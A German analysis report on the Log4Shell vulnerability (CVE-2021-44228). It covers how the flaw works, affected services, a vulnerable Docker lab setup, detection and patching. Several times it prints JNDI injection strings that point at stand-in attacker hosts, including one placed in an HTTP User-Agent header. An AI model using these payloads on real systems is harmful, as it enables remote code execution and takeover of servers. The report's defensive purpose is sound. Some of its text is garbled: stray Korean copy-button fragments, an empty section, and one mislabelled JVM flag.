Igloo Corporation Wonchihyeon Log4shell-Analysebericht

Log4shell

CVE-2021-44228 Log4j ist eine kostenlose Open-Source-Java-basierte Protokollierungsbibliothek der Apache Software Foundation, die in allen Java-basierten Anwendungen und verschiedenen Java-basierten Diensten zur Protokollierung verwendet wird. Sie nutzt die JNDI-Lookup-Funktion, um über LDAP (Port 1389) auf JDNI-Daten und -Objekte zuzugreifen und diese zu referenzieren.

Herunterladen des Docker-Images für den anfälligen Server Asudo git clone sudo docker build . -t vulnerable-app Erstellt das neue Image mit dem Namen vulnerable-app im aktuellen Verzeichnis durch den Docker-Build.

github.com/welk

Beenden des ungenutzten anfälligen Servers docker ps -a listet alle laufenden Docker-Images auf Prüfen der Container-ID

Log4Shell (CVE-2021-44228) Analysebericht

1. Übersicht

Log4Shell (CVE-2021-44228) ist eine Remote Code Execution (RCE)-Schwachstelle in der Apache Log4j-Bibliothek.
Angreifer können durch bösartige Payloads beliebigen Code ausführen, was weitreichende Schäden verursachen kann.

Dieser Bericht analysiert die Funktionsweise, Auswirkungen, Ausnutzungsbeispiele sowie Erkennungs- und Abwehrmaßnahmen von Log4Shell.

2. Schwachstellenübersicht

3. Funktionsweise der Schwachstelle

Log4Shell nutzt eine Schwachstelle in der JNDI (Java Naming and Directory Interface) Lookup-Funktion, um Angreifern die Ausführung von schädlichem Code von einem entfernten Server zu ermöglichen.

3.1 Angriffsablauf

1. Der Angreifer sendet eine Protokollnachricht mit einer bösartigen Zeichenfolge an die Anwendung.
2. Log4j führt bei der Protokollierung eine JNDI-Lookup durch.
3. JNDI fragt Daten von einem entfernten Server (z. B. LDAP, RMI) ab.
4. Es wird eine schädliche Java-Klasse vom Server des Angreifers geladen und ausgeführt.
5. Remote Code Execution (RCE) tritt ein.

3.2 Beispiel eines Angriffscodes

Der Angreifer kann die Schwachstelle ausnutzen, indem er die folgende Zeichenfolge in das Protokoll eintragen lässt:

${jndi:ldap://attacker.com:1389/exploit}

4. Auswirkungsbereich

Die Log4Shell-Schwachstelle betrifft zahlreiche Unternehmen und Dienste, die Log4j verwenden.

4.1 Hauptbetroffene Dienste und Systeme

• Cloud-Dienste: AWS, Google Cloud, Microsoft Azure
• Unternehmensanwendungen: Apache Struts, ElasticSearch, VMware vCenter
• Spielserver: Minecraft, Steam
• Verschiedene Webanwendungen und -server: Spring Boot, Tomcat usw.

5. Ausnutzungsbeispiele und Angriffsszenarien

5.1 Minecraft-Server-Angriff

Angreifer konnten den Server übernehmen, indem sie die folgende Zeichenfolge in den Minecraft-Chat eingegeben haben: shell 복사 편집 ${jndi:ldap://attacker.com:1389/exploit} Der Server protokolliert dies und führt über JNDI-Lookup den schädlichen Code vom Angreifer-Server aus.

5.2 Webanwendungsangriff

Die Angreifer fügen bösartige Payloads in HTTP-Header-Felder ein, die protokolliert werden (z. B. User-Agent, Referer, X-Forwarded-For). Beispiel: css 복사 편집 GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://malicious.com:1389/exploit}

6. Erkennungs- und Abwehrmaßnahmen

6.1 Methoden zur Erkennung der Schwachstelle

✅ Sicherheitsscanner verwenden

• log4j-scan (https://github.com/fullhunt/log4j-scan)
• log4shell-detector (https://github.com/Neo23x0/log4shell-detector)

✅ Protokolldateien überprüfen

• Sofortige Reaktion erforderlich, falls Muster wie ${jndi:ldap://...} in den Protokollen gefunden werden.

✅ Netzwerküberwachung

• Auf ungewöhnliche LDAP- und RMI-Anfragen prüfen.

6.2 Abwehrmaßnahmen

✅ Sofortmaßnahmen

• Upgrade auf Log4j 2.15.0 oder höher.
• Setzen der Umgebungsvariable beim Java-Start: shell 복사 편집 -Dlog4j2.formatMsgNoLookups=true
• Blockieren des Musters jndi:ldap:// in Firewalls und IDS/IPS.

✅ Langfristige Sicherheitsmaßnahmen

• Einschränkung der JNDI-Nutzung und Verschärfung der Sicherheitsrichtlinien.
• Einsatz einer Web Application Firewall (WAF).
• Regelmäßige Sicherheitsüberprüfungen und Schwachstellenscans.

7. Patches und Lösungen

✅ Aktualisierung auf die neueste Version (2.17.1 oder höher) wird empfohlen!

8. Fazit

Log4Shell (CVE-2021-44228) gilt als eine der schwerwiegendsten Sicherheitslücken der letzten Jahre. ✅ Anfällige Systeme müssen umgehend gepatcht werden, und eine kontinuierliche Sicherheitsüberwachung ist unerlässlich. ✅ Alle Anwendungen, die Log4j verwenden, sollten einer Sicherheitsprüfung unterzogen werden.

9. Referenzen

• Apache Log4j offizielle Sicherheitsempfehlung
• NIST National Vulnerability Database (CVE-2021-44228)
• log4j-scan (GitHub)